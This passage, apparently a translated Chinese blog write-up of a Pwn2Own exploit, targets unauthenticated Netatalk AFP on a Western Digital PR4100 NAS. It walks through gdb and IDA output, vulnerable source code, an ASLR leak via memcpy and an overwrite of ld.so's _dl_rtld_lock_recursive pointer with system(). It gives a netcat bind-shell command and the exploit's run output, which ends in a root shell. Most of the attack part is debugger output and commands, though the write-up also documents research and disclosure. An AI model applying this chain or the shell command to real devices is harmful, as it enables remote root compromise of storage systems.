      0x7f6c581b4000     0x7f6c581b6000     0x2000     0x1000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b6000     0x7f6c581b7000     0x1000     0x3000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b7000     0x7f6c581b8000     0x1000     0x3000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b8000     0x7f6c581b9000     0x1000     0x4000 /usr/local/modules/lib/netatalk/uams_pam.so
      0x7f6c581b9000     0x7f6c581ba000     0x1000        0x0 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581ba000     0x7f6c581bb000     0x1000     0x1000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581bb000     0x7f6c581bc000     0x1000     0x2000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581bc000     0x7f6c581bd000     0x1000     0x2000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581bd000     0x7f6c581be000     0x1000     0x3000 /usr/local/modules/lib/netatalk/uams_guest.so
      0x7f6c581be000     0x7f6c581bf000     0x1000        0x0 /lib/ld-2.28.so
      0x7f6c581bf000     0x7f6c581dd000    0x1e000     0x1000 /lib/ld-2.28.so
      0x7f6c581dd000     0x7f6c581e5000     0x8000    0x1f000 /lib/ld-2.28.so
      0x7f6c581e5000     0x7f6c581e6000     0x1000    0x26000 /lib/ld-2.28.so
      0x7f6c581e6000     0x7f6c581e7000     0x1000    0x27000 /lib/ld-2.28.so
      0x7f6c581e7000     0x7f6c581e8000     0x1000        0x0 
      0x7ffe86f2b000     0x7ffe86f71000    0x46000        0x0 [stack]
      0x7ffe86fb7000     0x7ffe86fba000     0x3000        0x0 [vvar]
      0x7ffe86fba000     0x7ffe86fbc000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

这意味着我们可以使用memmove()覆盖上述库之一中的一些数据。但是要定位什么库?

在调试时,我们注意到当发生崩溃时,如果我们继续执行,Netatalk 中的一个特殊异常处理程序会捕获该异常来处理它。

更具体地说,我们覆盖了整个ld-2.28.so .data部分并最终导致以下崩溃:

(remote-gdb) bt
#0  0x00007f423de3eb50 in _dl_open (file=0x7f423dbf0e86 "libgcc_s.so.1", mode=-2147483646, caller_dlopen=0x7f423db771c5 <init+21>, nsid=-2, argc=4, argv=0x7fffa4967cf8, env=0x7fffa4967d20) at dl-open.c:548
#1  0x00007f423dba406d in do_dlopen (Reading in symbols for dl-error.c...done.
ptr=ptr@entry=0x7fffa4966170) at dl-libc.c:96
#2  0x00007f423dba4b2f in __GI__dl_catch_exception (exception=exception@entry=0x7fffa49660f0, operate=operate@entry=0x7f423dba4030 <do_dlopen>, args=args@entry=0x7fffa4966170) at dl-error-skeleton.c:196
#3  0x00007f423dba4bbf in __GI__dl_catch_error (objname=objname@entry=0x7fffa4966148, errstring=errstring@entry=0x7fffa4966150, mallocedp=mallocedp@entry=0x7fffa4966147, operate=operate@entry=0x7f423dba4030 <do_dlopen>, args=args@entry=0x7fffa4966170) at dl-error-skeleton.c:215
#4  0x00007f423dba4147 in dlerror_run (operate=operate@entry=0x7f423dba4030 <do_dlopen>, args=args@entry=0x7fffa4966170) at dl-libc.c:46
#5  0x00007f423dba41d6 in __GI___libc_dlopen_mode (name=name@entry=0x7f423dbf0e86 "libgcc_s.so.1", mode=mode@entry=-2147483646) at dl-libc.c:195
#6  0x00007f423db771c5 in init () at backtrace.c:53
Reading in symbols for pthread_once.c...done.
#7  0x00007f423dc40997 in __pthread_once_slow (once_control=0x7f423dc2ef80 <once>, init_routine=0x7f423db771b0 <init>) at pthread_once.c:116
#8  0x00007f423db77304 in __GI___backtrace (array=<optimised out>, size=<optimised out>) at backtrace.c:106
#9  0x00007f423ddcd6db in netatalk_panic () from symbols/lib64/libatalk.so.18
#10 0x00007f423ddcd902 in ?? () from symbols/lib64/libatalk.so.18
#11 0x00007f423ddcd958 in ?? () from symbols/lib64/libatalk.so.18
Reading in symbols for ../sysdeps/unix/sysv/linux/x86_64/sigaction.c...done.
#12 <signal handler called>
#13 __memmove_sse2_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238
#14 0x00007f423dda6fd0 in ad_rebuild_adouble_header_osx () from symbols/lib64/libatalk.so.18
#15 0x00007f423ddaa985 in ?? () from symbols/lib64/libatalk.so.18
#16 0x00007f423ddaaf34 in ?? () from symbols/lib64/libatalk.so.18
#17 0x00007f423ddad7b0 in ?? () from symbols/lib64/libatalk.so.18
#18 0x00007f423ddad9e1 in ?? () from symbols/lib64/libatalk.so.18
#19 0x00007f423ddae56c in ad_open () from symbols/lib64/libatalk.so.18
#20 0x000055cd275c1ea7 in afp_openfork ()
#21 0x000055cd275a386e in afp_over_dsi ()
#22 0x000055cd275c6ba3 in ?? ()
#23 0x000055cd275c68fd in main ()

我们可以看到它call在我们控制第一个参数和参数的指令上崩溃。

(remote-gdb) x /i $pc
=> 0x7f423de3eb50 <_dl_open+48>:	call   QWORD PTR [rip+0x16412]        # 0x7f423de54f68 <_rtld_global+3848>
(remote-gdb) x /gx 0x7f423de54f68
0x7f423de54f68 <_rtld_global+3848>:	0x4242424242424242
(remote-gdb) x /s $rdi
0x7f423de54968 <_rtld_global+2312>:	'A' <repeats 35 times>

在 IDA 中检查ld-2.28.so,我们看到这是由于dl_open()调用了_dl_rtld_lock_recursive函数指针并将指针传递给了_dl_load_lock锁。

void *__fastcall dl_open(
        const char *file,
        int mode,
        const void *caller_dlopen,
        Lmid_t nsid,
        int argc,
        char **argv,
        char **env)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( (mode & 3) == 0 )
    _dl_signal_error(0x16, file, 0LL, "invalid mode for dlopen()");
  rtld_local._dl_rtld_lock_recursive(&rtld_local._dl_load_lock);

函数指针和 lock 参数都是该部分中_rtld_local全局的.data一部分。

.data:0000000000028060 ; rtld_global rtld_local
.data:0000000000028060 _rtld_local     dq 0  

这使得当我们能够覆盖该ld.so .data部分时,使用一个参数调用任意函数是一种非常通用的方法。

注意:这里有一个类似的技术(虽然有点不同)。

我们的目标是通过覆盖锁以包含要执行的 shell 命令并用地址覆盖函数指针来执行任意命令system()

幸运的是,我们已经知道我们已经将控制数据传递给system()函数,所以我们不需要知道它在内存中的位置。但是,由于 ASLR,我们不知道system()函数在哪里。所以我们需要某种泄漏原语来绕过 ASLR。

构建泄漏原语

如果我们再次查看之前的回溯,我们会发现它实际上是在ad_rebuild_adouble_header_osx(). 更具体地说,我们看到以下情况发生在ad_convert_osx()

  • 原始 AppleDouble 文件在内存中映射为mmap()
  • 前面讨论memmove()的被调用来丢弃 FinderInfo 部分
  • ad_rebuild_adouble_header_osx()叫做
  • 映射的文件未映射munmap()
//netatalk-3.1.12/libatalk/adouble/ad_open.c
/**
 * Convert from Apple's ._ file to Netatalk
 *
 * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes
 * containing packed xattrs. Netatalk can't deal with that, so we
 * simply discard the packed xattrs.
 *
 * As we call ad_open() which might result in a recursion, just to be sure
 * use static variable in_conversion to check for that.
 *
 * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise
 **/
static int ad_convert_osx(const char *path, struct adouble *ad)
{
    EC_INIT;
    static bool in_conversion = false;
    char *map;
    int finderlen = ad_getentrylen(ad, ADEID_FINDERI);
    ssize_t origlen;

    if (in_conversion || finderlen == ADEDLEN_FINDERI)
        return 0;
    in_conversion = true;

    LOG(log_debug, logtype_ad, "Converting OS X AppleDouble %s, FinderInfo length: %d",
        fullpathname(path), finderlen);

    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);

    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
    if (map == MAP_FAILED) {
        LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno));
        EC_FAIL;
    }

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));

    ad_setentrylen(ad, ADEID_FINDERI, ADEDLEN_FINDERI);
    ad->ad_rlen = ad_getentrylen(ad, ADEID_RFORK);
    ad_setentryoff(ad, ADEID_RFORK, ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI);

    EC_ZERO_LOG( ftruncate(ad_reso_fileno(ad),
                           ad_getentryoff(ad, ADEID_RFORK)
                           + ad_getentrylen(ad, ADEID_RFORK)) );

    (void)ad_rebuild_adouble_header_osx(ad, map);
    munmap(map, origlen);

ad_rebuild_adouble_header_osx()功能如下图。此函数负责将adouble结构的内容以 AppleDouble 格式写回映射的文件区域,以便将其保存到磁盘上的文件中。

//netatalk-3.1.12/libatalk/adouble/ad_flush.c
/*!
 * Prepare adbuf buffer from struct adouble for writing on disk
 */
int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf)
{
    uint32_t       temp;
    uint16_t       nent;
    char           *buf;

    LOG(log_debug, logtype_ad, "ad_rebuild_adouble_header_osx");

    buf = &adbuf[0];

    temp = htonl( ad->ad_magic );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl( ad->ad_version );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    memcpy(buf, AD_FILLER_NETATALK, strlen(AD_FILLER_NETATALK));
    buf += sizeof( ad->ad_filler );

    nent = htons(ADEID_NUM_OSX);
    memcpy(buf, &nent, sizeof( nent ));
    buf += sizeof( nent );

    /* FinderInfo */
    temp = htonl(EID_DISK(ADEID_FINDERI));
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDOFF_FINDERI_OSX);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDLEN_FINDERI);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);

    /* rfork */
    temp = htonl( EID_DISK(ADEID_RFORK) );
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl(ADEDOFF_RFORK_OSX);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    temp = htonl( ad->ad_rlen);
    memcpy(buf, &temp, sizeof( temp ));
    buf += sizeof( temp );

    return AD_DATASZ_OSX;
}

但是如果我们查看memcpy()调试器中的参数,我们会注意到源参数实际上是从堆栈中引用的并且超出范围:

memcpy(0x7f423de20032, 0x7fffa499bbba, 32)
(gdb) info proc mappings 
...
          Start Addr           End Addr       Size     Offset objfile
      0x7fffa4923000     0x7fffa4969000    0x46000        0x0 [stack]
      0x7fffa49f9000     0x7fffa49fc000     0x3000        0x0 [vvar]
      0x7fffa49fc000     0x7fffa49fe000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

如果您查看ad_header_read_osx()前面提到的代码,您会注意到它已被确认,因为有一个struct adouble adosx;局部变量(因此存储在堆栈中)一直传递到ad_rebuild_adouble_header_osx().

那么这是什么意思呢?好吧,memcpy()从堆栈控制的偏移量将 32 个字节写入内存映射文件区域。这意味着我们可以让它将任意内存写回磁盘上的文件中。然后我们可以使用 SMB 读取 fork 文件(以 AppleDouble 文件格式存储),然后我们可以将该内容泄露给我们。

很好,但是libc.so堆栈中是否存储了任何地址,因为我们要调用system()驻留在其中的地址libc.so

事实证明,有一个这样的地址,因为main()它是从以下位置调用的__libc_start_main()

.text:0000000000023FB0 __libc_start_main proc near 
...
.text:0000000000024099                 call    rax             ; main()
.text:000000000002409B
.text:000000000002409B loc_2409B:                              ; CODE XREF: __libc_start_main+15A↓j
.text:000000000002409B                 mov     edi, eax
.text:000000000002409D                 call    __GI_exit

Wrapping up(包起来)

默认情况下,在西部数据 PR4100 上,我们可以在 AFP 和 SMB 中读取和写入文件,而无需身份验证,只要我们在Public共享上进行即可。

我们还知道,从父进程afpd派生出一个子进程来处理每个客户端连接。afpd这意味着每个子进程对所有已加载的库都有相同的随机化。

要触发该漏洞,我们需要mooncake存在一个常规文件,以及._mooncake在同一目录中精心制作的关联 fork 文件。然后我们可以在文件上通过 AFP 调用“FPOpenFork”命令mooncake并解析._mooncakefork 文件(以 AppleDouble 文件格式存储)。它最终调用了ad_convert_osx()负责将 Apple 的 AppleDouble 文件转换为 Netatalk 中实现的简化版本的函数。

所以我们首先从创建mooncake文件开始。我们使用 AFP 来完成,但我们认为我们也可以使用 SMB 来完成。然后我们要触发漏洞两次。

第一次,我们制作了._mooncakefork 文件来滥用memcpy()in ad_rebuild_adouble_header_osx(). 触发漏洞时:

  • 原始的._mooncakefork 文件在内存中映射为mmap()
  • memcpy()函数将返回地址写入__libc_start_main()映射区域
  • 调用该munmap()函数并将数据保存到._mooncake磁盘上的 fork 文件中。
  • 我们可以通过 SMB 读取 fork 文件将数据泄露给我们._mooncake(就好像它是一个普通文件一样)

这允许推断libc.so基地址并计算system()地址。

第二次,我们制作了._mooncakefork 文件来滥用memmove()in ad_convert_osx(). 触发漏洞时:

  • 原始的._mooncakefork 文件在内存中映射为mmap()
  • memmove()函数覆盖ld.so .data部分以破坏rtld_local._dl_rtld_lock_recursive函数指针与system()地址和rtld_local._dl_load_lock数据与shell命令执行
  • 由于memcpy()对未映射的堆栈地址的无效访问,函数崩溃
  • 在 Netatalk 中注册的异常处理程序调用dl_open()它使其调用system()我们的任意 shell 命令

我们选择初步删除netcat使用 SMB 静态编译的文件,并从以下路径执行它:/mnt/HD/HD_a2/Public/tools/netcat -nvlp 9999 -e /bin/sh.

下面是实际的漏洞利用:

# ./mooncake.py -i 192.168.1.3
(12:26:23) [*] Triggering leak...
(12:26:27) [*] Connected to AFP server
(12:26:27) [*] Leaked libc return address: 0x7f45e23f809b
(12:26:27) [*] libc base: 0x7f45e23d4000
(12:26:27) [*] Triggering system() call...
(12:26:27) [*] Using system address: 0x7f45e24189c0
(12:26:27) [*] Connected to AFP server
(12:26:29) [*] Connection timeout detected :)
(12:26:30) [*] Spawning a shell. Type any command.
uname -a
Linux MyCloudPR4100 4.14.22 #1 SMP Mon Dec 21 02:16:13 UTC 2020 Build-32 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) euid=501(nobody) egid=1000(share) groups=1000(share)
pwd
/mnt/HD/HD_a2/Public/edg

Pwn2Own 备注

在比赛中使用漏洞利用时,漏洞利用在泄漏阶段的第一次尝试失败。我们猜测,与我们的测试环境相比,这可能是环境的时间问题。因此,我们修改了代码,在泄漏之前引入了一个“sleep()”,以确保 samba 将返回由易受攻击的 AFP 代码修改的数据。我们的第二次尝试使泄漏工作正常,但在尝试通过 telnet 连接时失败,因此我们在通过 telnet 连接之前添加了另一个“sleep()”以确保“system()”命令正确执行。幸运的是,这奏效了,这表明仅仅增加更多的睡眠就足以修复不可靠的漏洞,我们在第三次也是最后一次尝试中取得了成功🙂

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注